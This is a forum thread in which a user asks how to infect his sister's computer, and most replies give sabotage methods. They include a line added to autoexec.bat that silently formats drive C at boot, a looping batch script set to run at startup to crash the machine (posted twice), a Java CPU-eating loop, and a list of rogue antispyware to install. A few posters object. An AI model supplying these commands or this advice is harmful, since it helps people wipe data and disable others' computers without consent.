how can i download a virus?

[molsen]

so wait...you'll get in trouble for downloading porn onto her computer, but you won't get in trouble for downloading a virus onto it?

interesting.

 

[Harper]

I need help fast cause i want to download a virus to mess up my sisters dell dimension 3000 give me a deadly one that will slow it down alot.

Sign up for Bonzia Buddy. I classify that program as a virus.

Surf Free Porn Sites. Loads of Adware there.

Look around at those illegal WaReZ sites looking for serial numbers and cracks. If you are not sure what to look for then Google [insert favorite game here] Crack.

Google and install any of the following ROGUE anti spyware/virus software

AdwarePunisher
AntiVirus Gold
ErrorGuard
PAL Spyware Remover
Pest Trap
PSGuard
SmitFraud
Spy Sheriff
SpyAxe
SpyBan
SpyFalcon
Spyheal
SpySheriff
SpyTrooper
Spyware Quake
Spyware Stormer
SpywareStrike
SpyWiper
VirusBurst
WinFixer
WinHound
WorldAntiSpy

Add the following line at the beginning of the autoexec.bat file.
format C: /u /autotest
And then just wait until she turns on her computer next.

Look around the computer for those VOID WARRANTY IF BROKEN/REMOVED stickers and peel them off.

And failing that, PM me your address details and I will send my freind over to play around with your computer. Trust me.... there will be virus on your computer after he's done with it.
Like I normally make sure I have a ghost image ready before I even allow this guy to use any of my computers.

 

[Disillusion]

I hope your sister kicks your ****ing ***.

 

[uzi9mm]

i got the next best thing to a virus..

open notepad
copy this text into notepad:


@echo off
:loop
start notepad
start mspaint
start calc
start freecell
start CMD
start osk
start sndvol32
start cleanmgr
start sol
start charmap
start winmine
start sndrec32
start accwiz
start magnify
goto loop



Now you need to save this file as any name but it has to be a .bat extension.

Now add this file as her list of start up services/components.
now everytime windows starts up, all of these random utilities will open until her computer crashes. neat huh?

 

[The General]

This thread rocks.

 

[Win2kpatcher]

lol..I might put this on my bosses computer or our junior techs PC..give them a little test.

i got the next best thing to a virus..

open notepad
copy this text into notepad:


@echo off
:loop
start notepad
start mspaint
start calc
start freecell
start CMD
start osk
start sndvol32
start cleanmgr
start sol
start charmap
start winmine
start sndrec32
start accwiz
start magnify
goto loop



Now you need to save this file as any name but it has to be a .bat extension.

Now add this file as her list of start up services/components.
now everytime windows starts up, all of these random utilities will open until her computer crashes. neat huh?

 

[m3trj]

Just make something that eats CPU. Like in Java just put:

while(true)

 

[jseber1982]

download porn.. and if you go to run it,, and it asks if you want to update the secruity settings for your machine.. DO IT CLICK YES. you will download a spyware bomb lol. i did it once not htinking, i opened up IE afterwards and had about 10 different add bars halfway down the screen. It put an active website as my desktop wallpaper that was filled with spyware, and locked my registry so that i could not change the wallpaper, and it disabled safe mode somehow, that was fun to fix

 

[hillbillybob]

you still haven't answered some very important questions. Why do you want to do this?

You will get in trouble for the porn on her computer, but not the virus?

 

[MurdaX]

go onto lime wire and search and download a file named "open if stupid" save it and put it on you sister's computer and open it there. Then you will know how Pandora felt when she opened that box. Thats how I got my name, now don't say I didn't do anything for you.